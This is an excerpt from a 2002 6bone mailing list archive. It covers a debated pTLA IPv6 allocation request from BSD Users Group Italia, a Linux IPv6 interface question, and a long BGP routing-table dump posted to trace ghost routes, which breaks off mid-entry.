>BUI offers free hosting and shell access services to BSD coders developing 
>open source IPv6-aware projects in Italy.
>I have described those services in detail at http://www.bug.it/.
>
>
>4. The pTLA Applicant MUST commit to abide by the current 6Bone
>operational rules and policies as they exist at time of its
>application, and agree to abide by future 6Bone backbone
>operational rules and policies as they evolve by consensus of the
>6Bone backbone and user community.
>When an Applicant seeks to receive a pTLA allocation, it will apply
>to the 6Bone Operations Group (see section 8 below) by providing to
>the Group information in support of its claims that it meets the
>criteria above.
>
>We abide.
>
>8. 6Bone Operations Group
>The 6Bone Operations Group is the group in charge of monitoring and
>policing adherence to the current rules. Membership in the 6Bone
>Operations Group is mandatory for, and restricted to, sites connected
>to the 6Bone.
>The 6Bone Operations Group is currently defined by those members of
>the existing 6Bone mailing list who represent sites participating in
>the 6Bone. Therefore it is incumbent on relevant site contacts to
>join the 6Bone mailing list. Instructions on how to join the list are
>maintained on the 6Bone web site at < http://www.6bone.net>.
>
>I have been subscribed to 6bone mailing list since 23 sept 2000.
>
>
>
>Giacomo Cariello, jwk@bug.it
-end


From pekkas@netcore.fi Mon Aug 19 10:13:52 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@mailman.isi.edu>, Giacomo Cariello <jwk@bug.it>
Subject: Re: [6bone] pTLA request BUI - review closes 3 September 2002
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Hi,

I'm all for giving developers full access to IPv6, but I don't think the 
criteria are met:

> >3. The pTLA Applicant MUST have a potential "user community" that
> >would be served by its becoming a pTLA, e.g., the Applicant is a
> >major provider of Internet service in a region, country, or focus
> >of interest. Applicant must provide a statement and information in
> >support this claim.
> >
> >BUI offers free hosting and shell access services to BSD coders developing
> >open source IPv6-aware projects in Italy.
> >I have described those services in detail at http://www.bug.it/.

Notably "user community that would be served by *its becoming a pTLA*.

It appears to me that BUG does not qualify as a major provider of Internet
service, and these functions can be carried out quite well with a /48
assignment.


On Mon, 19 Aug 2002, Bob Fink wrote:
> 6bone Folk,
> 
> BUI has requested a pTLA allocation and I find their request fully 
> compliant with RFC2772. The open review period for this will close 3 
> September 2002. Please send your comments to me or the list.
> 
> <http://whois.6bone.net/cgi-bin/whois?BUI>
> 
> <http://www.ipv6.bug.it>
> 
> 
> BUI has received formal permission from ModenaOnLine to use their ASN for 
> 6bone purposes.
> 
> 
> Thanks,
> 
> Bob
> 
> ===
> >Date: Fri, 02 Aug 2002 14:11:53 +0200
> >To: Bob Fink <fink@es.net>
> >From: Giacomo Cariello <jwk@bug.it>
> >Subject: pTLA allocation request (reprise)
> >
> >I hope this looks better. I have modified the request to reflect the 
> >actual separation between ModenaOnLine and BUI.
> >They offer us free IPv4 connectivity, but we manage IPv6 network 
> >indipendently.
> >I have also moved description of our services to a separate page.
> >
> >The following rules apply to qualify for a 6Bone pTLA allocation. It
> >should be recognized that holders of 6Bone pTLA allocations are
> >expected to provide production quality backbone network services for
> >the 6Bone.
> >1. The pTLA Applicant must have a minimum of three (3) months
> >qualifying experience as a 6Bone end-site or pNLA transit. During
> >the entire qualifying period the Applicant must be operationally
> >providing the following:
> >
> >We have been online on 6bone since July, 25th 2000.
> >We have recently completed the necessary steps to complete registry 
> >information.
> >
> >a. Fully maintained, up to date, 6Bone Registry entries for their
> >ipv6-site inet6num, mntner, and person objects, including each
> >tunnel that the Applicant has:
> >
> >inet6num:     3FFE:1001:220::/48
> >netname:      BUI
> >descr:        BSD Users Group Italia testing network
> >country:      IT
> >admin-c:      GC4-6BONE
> >tech-c:       GC4-6BONE
> >mnt-by:       BUI
> >changed:      jwk@bug.it 20020705
> >source:       6BONE
> >
> >mntner:       BUI
> >descr:        BSD Users Group Italia
> >admin-c:      GC4-6BONE
> >tech-c:       GC4-6BONE
> >upd-to:       jwk@bug.it
> >auth:         CRYPT-PW *
> >mnt-by:       BUI
> >changed:      jwk@bug.it 20020722
> >source:       6BONE
> >
> >ipv6-site:    BUI
> >origin:       AS21394
> >descr:        BSD Users Group Italia test network
> >prefix:       3FFE:1001:220::/48
> >application:  ping hero.bug.it
> >application:  www www.ipv6.bug.it
> >tunnel:       IPv6 in IPv4 hero.bug.it -> 6bone-gw3.cselt.it TILAB BGP4+
> >contact:      GC4-6BONE
> >contact:      MIC1-6BONE
> >url:          http://www.ipv6.bug.it
> >notify:       noc@bug.it
> >mnt-by:       BUI
> >changed:      jwk@bug.it 20020722
> >changed:      jwk@bug.it 20020731
> >changed:      jwk@bug.it 20020802
> >source:       6BONE
> >
> >person:       Giacomo Cariello
> >address:      via d'Acquapendente, 65
> >address:      35100 - Padova
> >address:      Italy
> >phone:        +39 348 3043150
> >fax-no:       +39 348 3043150
> >e-mail:       jwk@bug.it
> >nic-hdl:      GC4-6BONE
> >notify:       jwk@bug.it
> >changed:      jwk@bug.it 20020129
> >source:       6BONE
> >
> >person:       Michele Gandolfi
> >address:      via delle Carmelitane Scalze, 7
> >address:      41100 - Modena
> >address:      Italy
> >phone:        +39 059 222328
> >fax-no:       +39 059 4391174
> >e-mail:       mic@datas.it
> >nic-hdl:      MIC1-6BONE
> >notify:       mic@datas.it
> >changed:      mic@datas.it 20020703
> >source:       6BONE
> >
> >b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >between the Applicant's boundary router and the appropriate
> >connection point into the 6Bone. This router must be IPv6
> >pingable. This criteria is judged by members of the 6Bone
> >Operations Group at the time of the Applicant's pTLA request.
> >
> >Our router to the backbone has proper BGP4+ link with TILAB.
> >Our workgroup has been connected through TILAB (formerly CSELT) for over 
> >two years now.
> >
> >c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >entries for the Applicant's router(s) and at least one host
> >system.
> >
> >Router system:
> >
> ># host -t AAAA hero.bug.it
> >hero.bug.it  AAAA    3FFE:1001:220:0:0:0:0:1
> ># host -t PTR 
> >1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.2.0.1.0.0.1.e.f.f.3.ip6.int
> >1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.2.0.1.0.0.1.e.f.f.3.ip6.int 
> >PTR     hero.bug.it
> >
> >Host system:
> >
> ># host -t AAAA glock.bug.it
> >glock.bug.it            AAAA    3FFE:1001:220:1:0:0:0:E
> ># host -t PTR 
> >e.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.0.2.2.0.1.0.0.1.e.f.f.3.ip6.int
> >e.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.0.2.2.0.1.0.0.1.e.f.f.3.ip6.int 
> >PTR     glock.bug.it
> >
> >d. A fully maintained, and reliable, IPv6-accessible system
> >providing, at a mimimum, one or more web pages, describing the
> >Applicant's IPv6 services. This server must be IPv6 pingable.
> >
> >We have a IPv6-aware webserver running, it is pingable, and it hosts a 
> >descriptive webpage at http://www.ipv6.bug.it/.
> >
> >2. The pTLA Applicant MUST have the ability and intent to provide
> >"production-quality" 6Bone backbone service. Applicants must
> >provide a statement and information in support of this claim.
> >This MUST include the following:
> >a. A support staff of two persons minimum, three preferable, with
> >person attributes registered for each in the ipv6-site object
> >for the pTLA applicant.
> >
> >Currently GC4-6BONE and MIC1-6BONE. More to come.
> >
> >I (GC4-BONE) am the technical and administrative coordinator of BUI. I 
> >will coordinate IPv6 network operations.
> >Our network partner for IPv4 connectivity is DATAS-NOC (AS21394). They are 
> >currently hosting our equipment for free.
> >MIC1-6BONE is also technical director at DATAS-NOC, so he provides us with 
> >support for what regards IPv4.
> >
> >b. A common mailbox for support contact purposes that all support
> >staff have acess to, pointed to with a notify attribute in the
> >ipv6-site object for the pTLA Applicant.
> >
> >noc@bug.it
> >
> >3. The pTLA Applicant MUST have a potential "user community" that
> >would be served by its becoming a pTLA, e.g., the Applicant is a
> >major provider of Internet service in a region, country, or focus
> >of interest. Applicant must provide a statement and information in
> >support this claim.
> >
> >BUI offers free hosting and shell access services to BSD coders developing 
> >open source IPv6-aware projects in Italy.
> >I have described those services in detail at http://www.bug.it/.
> >
> >
> >4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >operational rules and policies as they exist at time of its
> >application, and agree to abide by future 6Bone backbone
> >operational rules and policies as they evolve by consensus of the
> >6Bone backbone and user community.
> >When an Applicant seeks to receive a pTLA allocation, it will apply
> >to the 6Bone Operations Group (see section 8 below) by providing to
> >the Group information in support of its claims that it meets the
> >criteria above.
> >
> >We abide.
> >
> >8. 6Bone Operations Group
> >The 6Bone Operations Group is the group in charge of monitoring and
> >policing adherence to the current rules. Membership in the 6Bone
> >Operations Group is mandatory for, and restricted to, sites connected
> >to the 6Bone.
> >The 6Bone Operations Group is currently defined by those members of
> >the existing 6Bone mailing list who represent sites participating in
> >the 6Bone. Therefore it is incumbent on relevant site contacts to
> >join the 6Bone mailing list. Instructions on how to join the list are
> >maintained on the 6Bone web site at < http://www.6bone.net>.
> >
> >I have been subscribed to 6bone mailing list since 23 sept 2000.
> >
> >
> >
> >Giacomo Cariello, jwk@bug.it
> -end
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From jwk@bug.it Mon Aug 19 12:43:01 2002
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Date: Mon, 19 Aug 2002 21:44:26 +0200
To: 6bone@mailman.isi.edu
From: Giacomo Cariello <jwk@bug.it>
Subject: Re: [6bone] pTLA request BUI - review closes 3 September 2002
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At 20.13 19/08/2002 +0300, you wrote:
>It appears to me that BUG does not qualify as a major provider of Internet
>service, and these functions can be carried out quite well with a /48
>assignment.

Our major need for a pTLA is determined by our routing software projects.
Some of our efforts require testing our implementations with multiple BGP 
peers, in various conditions.
Our actual status of sub-pTLA doesn't allow us such freedom and we believe 
that requesting a direct allocation to this "IPv6 testbed" is the way to go.



Giacomo Cariello, jwk@bug.it
KeyID: 3072/1024/0x409C9044
Fingerprint: 7984 10FD 0460 4202 BF90 3881 CDE4 D78E 409C 9044

"Put that mic in my hand and let me kick out the jams!" - MC5



From tvo@EnterZone.Net Mon Aug 19 16:23:38 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Giacomo Cariello <jwk@bug.it>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] pTLA request BUI - review closes 3 September 2002
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On Mon, 19 Aug 2002, Giacomo Cariello wrote:

> At 20.13 19/08/2002 +0300, you wrote:
> >It appears to me that BUG does not qualify as a major provider of Internet
> >service, and these functions can be carried out quite well with a /48
> >assignment.
> 
> Our major need for a pTLA is determined by our routing software projects.
> Some of our efforts require testing our implementations with multiple BGP 
> peers, in various conditions.
> Our actual status of sub-pTLA doesn't allow us such freedom and we believe 
> that requesting a direct allocation to this "IPv6 testbed" is the way to go.
> 

I don't see where testing routing routing softare requires a /32.  There
is no reason why you can't have multiple BGP peers, take full routes from
them all and announce your /48 to them tagged with "no-export".  I
recently posted a configuration example that addresses just this very
thing.

What part of your testbed requires that your testing show up as an
announcement in the routing table of every IPv6 BGP speaker operating in
the Default Free Zone?


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From jwk@bug.it Mon Aug 19 17:08:34 2002
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Date: Tue, 20 Aug 2002 02:10:02 +0200
To: 6bone@mailman.isi.edu
From: Giacomo Cariello <jwk@bug.it>
Subject: Re: [6bone] pTLA request BUI - review closes 3 September 2002
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At 19.23 19/08/2002 -0400, you wrote:
>On Mon, 19 Aug 2002, Giacomo Cariello wrote:
>
> > At 20.13 19/08/2002 +0300, you wrote:
> > >It appears to me that BUG does not qualify as a major provider of Internet
> > >service, and these functions can be carried out quite well with a /48
> > >assignment.
> >
> > Our major need for a pTLA is determined by our routing software projects.
> > Some of our efforts require testing our implementations with multiple BGP
> > peers, in various conditions.
> > Our actual status of sub-pTLA doesn't allow us such freedom and we believe
> > that requesting a direct allocation to this "IPv6 testbed" is the way 
> to go.
> >
>
>I don't see where testing routing routing softare requires a /32.  There
>is no reason why you can't have multiple BGP peers, take full routes from
>them all and announce your /48 to them tagged with "no-export".  I
>recently posted a configuration example that addresses just this very
>thing.

It appears that our neighbour pTLA do not allow us to announce our /48 
through other pTLAs, so we're looking into obtaining a provider-indipendent 
address space and request peering with major IPv6 italian/european pTLAs.
In our testing environment, we specifically need our annunce to reach the 
backbone through multiple paths (2 or possibly more).



Giacomo Cariello, jwk@bug.it
KeyID: 3072/1024/0x409C9044
Fingerprint: 7984 10FD 0460 4202 BF90 3881 CDE4 D78E 409C 9044

"Put that mic in my hand and let me kick out the jams!" - MC5



From tvo@EnterZone.Net Mon Aug 19 19:20:13 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Giacomo Cariello <jwk@bug.it>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] pTLA request BUI - review closes 3 September 2002
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On Tue, 20 Aug 2002, Giacomo Cariello wrote:

> At 19.23 19/08/2002 -0400, you wrote:
> >
> >I don't see where testing routing routing softare requires a /32.  There
> >is no reason why you can't have multiple BGP peers, take full routes from
> >them all and announce your /48 to them tagged with "no-export".  I
> >recently posted a configuration example that addresses just this very
> >thing.
> 
> It appears that our neighbour pTLA do not allow us to announce our /48 
> through other pTLAs, so we're looking into obtaining a provider-indipendent 
> address space and request peering with major IPv6 italian/european pTLAs.
> In our testing environment, we specifically need our annunce to reach the 
> backbone through multiple paths (2 or possibly more).
> 
> 
> 
> Giacomo Cariello, jwk@bug.it

TILAB won't allow you to announce your 48 (as no-export) to other BGP
peers?  I can understand them not wanting it in the DFZ but, what you and
your peers do, that remains isolated to the routing tables of you and your
peers is, IMHO, your business.

I still don't understand why your testing requires your announcement to
make it into the DFZ.  You said that you are testing routing
software.  It's easy to look at your peers looking glass and see if your
announcement is making it to that peer.  If you take full views from
multiple peers, you can verify that your best-path-selection process works
and test various methods of influencing that process.  "Experimenting" in
the DFZ that involves injecting/retracting a prefix/prefixes with any
frequency at all (something that I would expect if you're testing routing
software as you say) will have a negative impact on your reachability
because you'll be dampened.

Getting PI space from your RIR is a good idea, if you qualify.  I still
don't agree wanting to participate (in a testing capacity) in the DFZ is
justification for a pTLA.  Perhaps if TILAB won't allow you to experiment
with your /48 from them, you need to look for another pTLA that will.

In addition, TILAB needs to update their ipv6-site object.  It has not
been updated since 20010702 and it does not reflect their tunnel/bgp
session with your site.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From jwk@bug.it Tue Aug 20 01:40:23 2002
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From: Giacomo Cariello <jwk@bug.it>
Subject: Re: [6bone] pTLA request BUI - review closes 3 September 2002
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At 22.20 19/08/2002 -0400, you wrote:
>Getting PI space from your RIR is a good idea, if you qualify.  I still
>don't agree wanting to participate (in a testing capacity) in the DFZ is
>justification for a pTLA.  Perhaps if TILAB won't allow you to experiment
>with your /48 from them, you need to look for another pTLA that will.

I've had a talk with CEO of Data Service, our IPv4 connectivity partner and 
I agreed with him to anticipate IPv6 deployment schedule for their 
organization.
Data Service would be interested in requesting a pTLA status for IPv6 
deployment reasons, which would be well justified, considering they are an 
ISP serving hundreds end-sites and regional organizations and offering 
various types of connectivity services.
Meanwhile, we could obtain a sub-pTLA directly from them with a 
less-restrictive policy on what we can do with our assignment.
Our plan is to pass our current IPv6 structure to Data Service, in order to 
speed up their startup period. Some of their tech employees have 
collaborated with us to create our current IPv6 network, therefore I 
suppose there will be no problem with that.
If it sounds reasonable, I'll contact Data Service and have them start an 
IPv6 allocation plan and the request procedures for a 6bone pTLA.



Giacomo Cariello, jwk@bug.it
KeyID: 3072/1024/0x409C9044
Fingerprint: 7984 10FD 0460 4202 BF90 3881 CDE4 D78E 409C 9044

"Put that mic in my hand and let me kick out the jams!" - MC5



From galania@ipv6.inictel.gob.pe Tue Aug 20 07:13:55 2002
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From: Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe>
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Consultations friends, using linux-usagi I have a particularitity, when 
I do ifconfig appears ipv6 global two-way traffic:
[root@ipv6 gino]# ifconfig
compendiu Link encap:IPv6-in-IPv4 
          inet6 addr: fe80::c83c:ac84/128 Scope:Link
          inet6 addr: 3ffe:8260:200e:fffd::2/48 Scope:Global
          UP POINTOPOINT RUNNING NOARP  MTU:1420  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:162 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 b)  TX bytes:18823 (18.3 Kb)

eth0      Link encap:Ethernet  HWaddr 00:01:02:2A:72:85 
          inet addr:200.60.172.132  Bcast:200.60.172.159  
Mask:255.255.255.224
          inet6 addr: 3ffe:8260:200e:1001:846a:bebb:5040:f4cd/64 
Scope:Global
          inet6 addr: fe80::201:2ff:fe2a:7285/64 Scope:Link
          inet6 addr: 3ffe:8260:200e:1001:201:2ff:fe2a:7285/64 Scope:Global
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:7875 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2313 errors:0 dropped:0 overruns:0 carrier:0
          collisions:3 txqueuelen:100
          RX bytes:2890904 (2.7 Mb)  TX bytes:225912 (220.6 Kb)
          Interrupt:10 Base address:0xd880

Some suggestion, of like modifying it?




From yoshfuji@linux-ipv6.org Tue Aug 20 07:31:32 2002
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From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?=
 <yoshfuji@linux-ipv6.org>
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In article <3D624D49.1090004@ipv6.inictel.gob.pe> (at Tue, 20 Aug 2002 09:08:09 -0500), Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe> says:

> Consultations friends, using linux-usagi I have a particularitity, when 
> I do ifconfig appears ipv6 global two-way traffic:
> [root@ipv6 gino]# ifconfig
:
> eth0      Link encap:Ethernet  HWaddr 00:01:02:2A:72:85 
>           inet addr:200.60.172.132  Bcast:200.60.172.159  
> Mask:255.255.255.224
>           inet6 addr: 3ffe:8260:200e:1001:846a:bebb:5040:f4cd/64 
> Scope:Global
>           inet6 addr: fe80::201:2ff:fe2a:7285/64 Scope:Link
>           inet6 addr: 3ffe:8260:200e:1001:201:2ff:fe2a:7285/64 Scope:Global
>           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
:

I wonder I don't understand your question / problem.
Could you explain further details, please?

--yoshfuji


From nicolas.deffayet@ndsoftware.net Tue Aug 20 07:39:36 2002
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Hello,

First sorry for this very long email.
In this email, i will try to solve the problem of ghost routes on 6bone.
I have a lot of peers (new peers are welcome), it's more easy for me to
find the router of the ghost routes.

I take 3ffe:200::/24 (SICS, one of ghost route) for my analysis and i do
show ipv6 bgp 3ffe:200::/24 on all routers of my network.

My looking-glass: http://noc.ndsoftwarenet.com/lg/

Look for: ->10318

parcr1.fr.ndsoftwarenet.net:

BGP routing table entry for 3ffe:200::/24
Paths: (23 available, best #13, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  3ffe:81f1:0:1::2 3ffe:81f1:0:2::2 3ffe:81f1:1:2002::2
3ffe:81f1:1:2007::2 3ffe:81f1:1:200a::2 3ffe:81f1:1:200b::2
3ffe:81f1:1:200c::2 3ffe:81f1:1:2010::2 3ffe:81f1:1:2016::2
3ffe:81f1:1:201e::2 3ffe:81f1:1:201f::2 3ffe:81f1:1:2020::2
3ffe:81f1:1:2023::2 3ffe:81f1:1:2027::2 3ffe:81f1:1:2029::2
3ffe:81f1:1:202c::2 3ffe:81f1:1:202d::2 3ffe:81f1:1:202e::2
3ffe:81f1:1:2034::2 3ffe:81f1:1:2036::2 3ffe:81f1:1:2042::2
3ffe:81f1:1:2044::2 3ffe:81f1:1:2047::2 3ffe:81f1:1:2048::2
3ffe:81f1:1:2051::2 3ffe:81f1:1:2056::2
  45328 8277 15589 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472
6830 5609 1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944
15982 3265 513 559 9044 10566 7580 145 293
    3ffe:81f1:1:202f::2 from 3ffe:81f1:1:202f::2 (131.211.28.48)
    (fe80::83d3:1c30)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Tue Aug 20 11:34:52 2002

  9112 4554 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830
5609 1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944
15982 3265 513 559 9044 10566 7580 145 293
    3ffe:81f1:1:2018::2 from 3ffe:81f1:1:2018::2 (150.254.166.157)
    (fe80::96fe:a69d)
      Origin IGP, metric 700, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Tue Aug 20 10:53:51 2002

  6342 6435 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609
1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982
3265 513 559 9044 10566 7580 145 293
    3ffe:81f1:1:2005::2 from 3ffe:81f1:1:2005::2 (131.178.107.1)
    (fe80::83b2:6408)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Tue Aug 20 00:43:41 2002

  2607 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609
1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982
3265 513 559 9044 10566 7580 145 293
    3ffe:2200:0:8012::1 from 3ffe:2200:0:8012::1 (147.175.111.61)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 22:20:27 2002

  6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609 1275
20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982 3265 513
559 9044 10566 7580 145 293
    3ffe:81f1:1:2008::2 from 3ffe:81f1:1:2008::2 (64.71.128.26)
    (fe80::4047:801a)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 22:20:13 2002

  5430 13285 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830
5609 1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944
15982 3265 513 559 9044 10566 7580 145 293
    2001:748:100:a0::8 from 2001:748:100:a0::8 (62.104.191.66)
    (fe80::3e68:bf42)
      Origin IGP, metric 600, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 19:44:30 2002

  13110 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609
1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982
3265 513 559 9044 10566 7580 145 293
    3ffe:400c:feed::2 from 3ffe:400c:feed::2 (62.21.98.6)
    (fe80::3e15:6206)
      Origin IGP, metric 600, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 11:14:57 2002

  7521 4697 2914 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830
5609 1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944
15982 3265 513 559 9044 10566 7580 145 293
    3ffe:81f1:1:2016::2 from 3ffe:81f1:1:2016::2 (210.173.160.68)
    (fe80::d2ad:a044)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:500 65526:502 65526:511 65526:521 65526:900
65526:1000 65526:1500
      Last update: Mon Aug 19 21:14:53 2002

  13129 1752 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830
5609 1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944
15982 3265 513 559 9044 10566 7580 145 293
    3ffe:8340::1:6 from 3ffe:8340::1:6 (212.20.133.123)
      Origin IGP, metric 500, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 04:49:06 2002

  1752 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609
1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982
3265 513 559 9044 10566 7580 145 293
    2001:7f8:2:c01d::2 from 2001:7f8:2:c01d::2 (213.121.24.91)
    (fe80::d579:185b)
      Origin IGP, metric 500, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 04:48:50 2002

  15671 8379 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830
5609 1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944
15982 3265 513 559 9044 10566 7580 145 293
    2001:7b0:1ff::c from 2001:7b0:1ff::c (195.226.160.196)
    (fe80::c3e2:a0c4)
      Origin IGP, metric 700, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 21:14:53 2002

  8379 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609
1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982
3265 513 559 9044 10566 7580 145 293
    2001:768:e:9::1 from 2001:768:e:9::1 (195.143.108.134)
    (fe80::c38f:6c86)
      Origin IGP, metric 600, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 21:14:26 2002

  6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609 1275 20834
2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982 3265 513 559
9044 10566 7580 145 293
    3ffe:2900:1:9::1 from 3ffe:2900:1:9::1 (208.19.223.30)
    (fe80::d013:df1e)
      Origin IGP, metric 800, localpref 100, valid, external, best
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 04:48:26 2002

  6435 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609 1275
20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982 3265 513
559 9044 10566 7580 145 293
    3ffe:81f1:1:2015::2 from 3ffe:81f1:1:2015::2 (64.65.64.152)
    (fe80::4041:4098)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 21:21:03 2002

  15589 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609
1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982
3265 513 559 9044 10566 7580 145 293
    3ffe:81f1:1:2017::2 from 3ffe:81f1:1:2017::2 (192.168.1.12)
    (fe80::3e5e:2e69)
      Origin IGP, metric 700, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 21:14:26 2002

  12731 8379 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830
5609 1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944
15982 3265 513 559 9044 10566 7580 145 293
    3ffe:81f1:1:2037::2 from 3ffe:81f1:1:2037::2 (213.128.128.12)
    (fe80::d580:800c)
      Origin IGP, metric 600, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 21:14:45 2002

  5408 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609 1275
20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982 3265 513
559 9044 10566 7580 145 293
    3ffe:2d00:1::2c from 3ffe:2d00:1::2c (194.177.210.38)
    (fe80::c2b1:d226)
      Origin IGP, metric 700, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 04:48:46 2002

  3748 237 12199 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609
1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982
3265 513 559 9044 10566 7580 145 293
    3ffe:81f1:1:2033::2 from 3ffe:81f1:1:2033::2 (179.16.254.3)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 04:08:14 2002

  20745 20745 20745 20745 20745 20745 20745 6939 6175 ->10318 33 22
11537 786 1849 5539 517 8472 6830 5609 1275 20834 2549 3320 24765 1930
2200 5511 8733 2611 8002 13944 15982 3265 513 559 9044 10566 7580 145
293
    3ffe:830f::6 from 3ffe:830f::6 (217.9.66.21)
    (fe80::d909:420a)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 21:14:53 2002

  278 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609
1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982
3265 513 559 9044 10566 7580 145 293
    3ffe:81f1:1:2031::2 from 3ffe:81f1:1:2031::2 (192.100.200.226)
    (fe80::84f8:6cfe)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 21:14:33 2002

  4618 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609 1275
20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982 3265 513
559 9044 10566 7580 145 293
    3ffe:400b:400b:: from 3ffe:400b:400b:: (203.150.16.66)
